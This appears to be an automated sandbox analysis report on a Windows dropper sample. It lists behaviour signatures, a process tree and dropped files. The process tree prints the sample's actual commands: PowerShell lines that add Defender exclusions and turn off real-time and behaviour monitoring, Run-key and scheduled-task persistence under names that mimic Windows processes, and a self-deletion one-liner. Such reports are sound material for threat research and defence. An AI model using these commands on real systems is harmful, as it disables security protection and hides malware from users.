Analysis

  • max time kernel
    72s
  • max time network
    161s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/09/2026, 10:19

General

  • Target
    WindowsUpdate_dropper.exe
  • Size 5.8MB
  • Sample260922-mczzyadf95
  • SHA256 44dcd987ef61c0dec58aa093e6e2d76f5fb3361ca4f79a106262586277b478e0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 28 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 56 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 13 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\WindowsUpdate_dropper.exe
    "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate_dropper.exe"
    1⤵
    • Downloads MZ/PE file
    • Suspicious use of WriteProcessMemory
    PID:3396
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4856
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:5272
      • C:\Windows\system32\net.exe
        net session
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4636
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          3⤵
            PID:2328
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WindowsUpdate_dropper.exe' -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4560
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5912
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3056
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp' -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5512
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4768
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe' -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:6020
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4612
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'svchostWatcher.exe' -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:776
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SearchIndexer.exe' -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5236
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdate.exe' -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2440
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5384
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:252
        • C:\Windows\system32\reg.exe
          reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svchost /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe\" --respawned" /f
          2⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:4568
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn Microsoft\Windows\svchost /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe\" --respawned" /sc onlogon "/rl highest" /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5032
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn Microsoft\Windows\svchostWatcher /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchostWatcher.exe\" --respawned" /sc onlogon "/rl highest" /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1684
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn Microsoft\Windows\svchostHealth /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe\" --respawned" /sc minute /mo 15 /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1432
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchostWatcher.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchostWatcher.exe
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of WriteProcessMemory
          PID:3172
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchostWatcher.exe'"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2128
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows'"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:5696
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess 'svchostWatcher.exe'"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1284
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "Microsoft\Windows\WmiPrvSE_AA12A6F6" /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WmiPrvSE.exe\"" /sc onlogon /rl highest /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4356
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "Microsoft\Windows\WmiPrvSE_AA12A6F6_periodic" /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WmiPrvSE.exe\"" /sc minute /mo 5 /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2708
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "Microsoft\Windows\SystemHost_FD8D8BAC" /tr "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemHost.exe\"" /sc onlogon /rl highest /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:988
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "Microsoft\Windows\SystemHost_FD8D8BAC_periodic" /tr "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemHost.exe\"" /sc minute /mo 5 /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2076
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "Microsoft\Windows\SecurityHealthSystray_A5A4EA6D" /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe\"" /sc onlogon /rl highest /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5408
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "Microsoft\Windows\SecurityHealthSystray_A5A4EA6D_periodic" /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe\"" /sc minute /mo 5 /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4588
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe --respawned
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2764
        • C:\Windows\system32\cmd.exe
          cmd.exe /C "timeout /T 2 /NOBREAK > NUL & del /F /Q \"C:\Users\Admin\AppData\Local\Temp\WindowsUpdate_dropper.exe\""
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1136
          • C:\Windows\system32\timeout.exe
            timeout /T 2 /NOBREAK
            3⤵
            • Delays execution with timeout.exe
            PID:5568
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe"
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2996
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe" --respawned
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2272
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\.net\svchost\x9ASuftQWtbR8Vx2MCBSrVqpWKAqmmE=\SearchIndexer.dll'"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4672
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows'"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4276
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess 'SearchIndexer.dll'"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1668
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "Microsoft\Windows\RuntimeBroker_070E8EE5" /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker.exe\" --respawned" /sc onlogon /rl highest /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4100
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "Microsoft\Windows\SecurityHealthHost_C75BE1CF" /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SecurityHealth\SecurityHealthHost.exe\" --respawned" /sc onlogon /rl highest /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5528
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "Microsoft\Windows\WinStore_4263515E" /tr "\"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\WinStore.exe\" --respawned" /sc onlogon /rl highest /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5928
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "Microsoft\Windows\WindowsDefenderWatchdog" /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDriveSync.exe\" --respawned" /sc minute /mo 3 /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5588
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe" --respawned
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2712
      • C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemHost.exe
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemHost.exe"
        1⤵
          PID:3888
        • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
          1⤵
            PID:1560
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WmiPrvSE.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WmiPrvSE.exe"
            1⤵
              PID:772
            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SecurityHealth\SecurityHealthHost.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SecurityHealth\SecurityHealthHost.exe"
              1⤵
                PID:6024
              • C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\WinStore.exe
                "C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\WinStore.exe"
                1⤵
                  PID:3408
                • C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\WinStore.exe
                  "C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\WinStore.exe" --respawned
                  1⤵
                    PID:1304
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SecurityHealth\SecurityHealthHost.exe
                    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SecurityHealth\SecurityHealthHost.exe" --respawned
                    1⤵
                      PID:3816
                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker.exe
                      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker.exe" --respawned
                      1⤵
                        PID:4552
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker.exe
                        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker.exe"
                        1⤵
                          PID:5328
                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDriveSync.exe
                          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDriveSync.exe"
                          1⤵
                            PID:5628

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 60ed36c2f9809a939b60071dee83c83f3cd112370639cfe7510c0010bfd7cea6
                                • MD5 SHA1 SHA512 TLSH

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
                                • MD5 SHA1 SHA512 TLSH

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 4fb025787851a7d907bbb74dbaa2bcf930c1393531cdf7e15b15460ab7045df7
                                • MD5 SHA1 SHA512 TLSH

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 54c5c537dfcfd3a384cbde43259fe0736fda617e976e0c0343cfe0c81a35c852
                                • MD5 SHA1 SHA512 TLSH

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 14fa66001cba0c73845bd42bba778c571c3b9f3caf5ae7387e6c0b21dc43d182
                                • MD5 SHA1 SHA512 TLSH

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 51276e05eda0630b9e2f1c5ea552eae10531a2fb945073e974e0f7fb4644dc39
                                • MD5 SHA1 SHA512 TLSH

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 a9cc71f4c0b7506e18cf695cbd6adf48112ff10092946bc11618701ea23b28dd
                                • MD5 SHA1 SHA512 TLSH

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 fa45d29e0f6becce98d48742b09a746026f85a50847ec1f78b112b34c6e1da34
                                • MD5 SHA1 SHA512 TLSH

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 fec7752909f5e91f2507e06cf600b991263a4d674321e0fc114464460ff37e88
                                • MD5 SHA1 SHA512 TLSH

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 3cee5577957b9cd9c930acad178c4c76709aa34292b0f39a90d9996d6d045b3d
                                • MD5 SHA1 SHA512 TLSH

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 e3bb8bacf2b8f4db95f23e1f5b6d15b787cd54a0c6dd99718e57e9e74c7773ff
                                • MD5 SHA1 SHA512 TLSH

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 79d8513a888902db3186a5e062f47b1b599afd2979f06360bd8918da1253743e
                                • MD5 SHA1 SHA512 TLSH

                                SQLitePCLRaw.provider.e_sqlite3.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\SQLitePCLRaw.provider.e_sqlite3.dll
                                • Size 35KB
                                • SHA256 2e7315a35cb86213200654b717f8cbe3c7643a6bec4a106f22fc8c744a94906c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                SearchIndexer.deps.json

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\SearchIndexer.deps.json
                                • Size 38KB
                                • SHA256 f78cd92dd2d19d3c5ef0aabc4286281294f6efc2a17b1aef7cc11b03076d46b0
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Management.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\System.Management.dll
                                • Size 304KB
                                • SHA256 b2d6e7e991dc9ef154b29f4966f04fd8ed4ebb2c1d1242ea1d5f3e90f8ae5143
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                e_sqlite3.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\e_sqlite3.dll
                                • Size 1.6MB
                                • SHA256 dccbabb2bc7e7d4302c44d9ce41b70721a7d0914fa4d289e2f340d39766ad102
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationProvider.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\tr\UIAutomationProvider.resources.dll
                                • Size 14KB
                                • SHA256 b40b39bfbebb7eb1e7a052c217f4d8d4a3cd145ece8f90a9b8d9e79ce3dae410
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationTypes.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\tr\UIAutomationTypes.resources.dll
                                • Size 17KB
                                • SHA256 b0f1e9d05fb40caa4b46102c0174a3b110e87fa8c772fd5a53e8ba5d9abe379e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsBase.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\tr\WindowsBase.resources.dll
                                • Size 82KB
                                • SHA256 5bcd66ac2530b219924a47d7ecc4d2982e4549914d895441c805e8d2aeb19e97
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsFormsIntegration.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\tr\WindowsFormsIntegration.resources.dll
                                • Size 15KB
                                • SHA256 510f2789ae1ba29187bff97c4131d52b0c52ef35851b103e7c67a462b3601b7d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.VisualBasic.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\zh-Hans\Microsoft.VisualBasic.Forms.resources.dll
                                • Size 24KB
                                • SHA256 a7e20563e469a876676d3e926fb6dcc679ad43f1d8cda5d4740004a9a0d12ec3
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationCore.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\zh-Hans\PresentationCore.resources.dll
                                • Size 97KB
                                • SHA256 13db399eb232a74a7fdb2aa99869b222ad9f639d3926b55d2661466f4a290014
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\zh-Hans\PresentationFramework.resources.dll
                                • Size 178KB
                                • SHA256 2b3bb46fcfbb52273eb2068fa1205d416c189c6462ad21bac511f1821b9bac2d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationUI.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\zh-Hans\PresentationUI.resources.dll
                                • Size 41KB
                                • SHA256 f60663638452524ddbf1dba14b2a463e9799a8c1aded0adc690c9e829718ecc2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ReachFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\zh-Hans\ReachFramework.resources.dll
                                • Size 35KB
                                • SHA256 81b76d6f9fb0151dfa80e095ee73b04e47c4a6408ba4e5b023abb2942d354b59
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Controls.Ribbon.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\zh-Hans\System.Windows.Controls.Ribbon.resources.dll
                                • Size 17KB
                                • SHA256 9a07b7bcde170b04e0e55bfb1fc3c679beb7e72e963d26a729c0dc6a27b7ad0d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Design.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\zh-Hans\System.Windows.Forms.Design.resources.dll
                                • Size 141KB
                                • SHA256 809185071203d564cc8c68642397f3456470d49185f4ab053dcd552dc9d647a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Primitives.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\zh-Hans\System.Windows.Forms.Primitives.resources.dll
                                • Size 15KB
                                • SHA256 116b7a7a79062252aa8bb22a0e1772676edb0c9bb8161d8014eda5b30d66f808
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\zh-Hans\System.Windows.Forms.resources.dll
                                • Size 311KB
                                • SHA256 0ed1b6072fd13f13f1671cf93ec00bf69ec84dfd7924c07acb3f33b5f79602aa
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Input.Manipulations.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\zh-Hans\System.Windows.Input.Manipulations.resources.dll
                                • Size 15KB
                                • SHA256 b2db24cc7d83ea581b446485164465494a8aa16d234acbc20fa757b967470342
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xaml.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\zh-Hans\System.Xaml.resources.dll
                                • Size 59KB
                                • SHA256 b41530dba0e5932de3c1563a0be94e848270558f82120776a8ef9cf8c69cad29
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClient.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\zh-Hans\UIAutomationClient.resources.dll
                                • Size 18KB
                                • SHA256 fdd0201287fb0c68ffba703b7a3f70ce6bf98bc0aace34e5960e27911fd52ebd
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClientSideProviders.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\zh-Hans\UIAutomationClientSideProviders.resources.dll
                                • Size 19KB
                                • SHA256 f6fbda1a460e44ed09e4b028c760d04c60e7bbe4f572ecc4509ca3aff11e5aaf
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationProvider.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\1788\zh-Hans\UIAutomationProvider.resources.dll
                                • Size 14KB
                                • SHA256 22514d9331598543d86db88587d9dad0cebed65d7faa1ec5abf2535967cf6ac6
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Accessibility.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\Accessibility.dll
                                • Size 20KB
                                • SHA256 6fff27c01a37fdf8410a97df86ceb5c2102cf401cc9ca820d294a01a1060563b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                DirectWriteForwarder.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\DirectWriteForwarder.dll
                                • Size 505KB
                                • SHA256 2f430cf6c5692a957c77aad64ec1980ddb4fc4d8a47fa103081de5b8d5d91350
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationCore.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\PresentationCore.dll
                                • Size 8.2MB
                                • SHA256 1dcfc06376e5c1e464935fb1ae4a27ffc173784ff9f0172cf25807e7a0f35798
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework-SystemCore.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\PresentationFramework-SystemCore.dll
                                • Size 37KB
                                • SHA256 b652e945e469f9d3fe9994c52ec7cbc2b28d857787c2504d83fc83ba18d95427
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework-SystemData.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\PresentationFramework-SystemData.dll
                                • Size 33KB
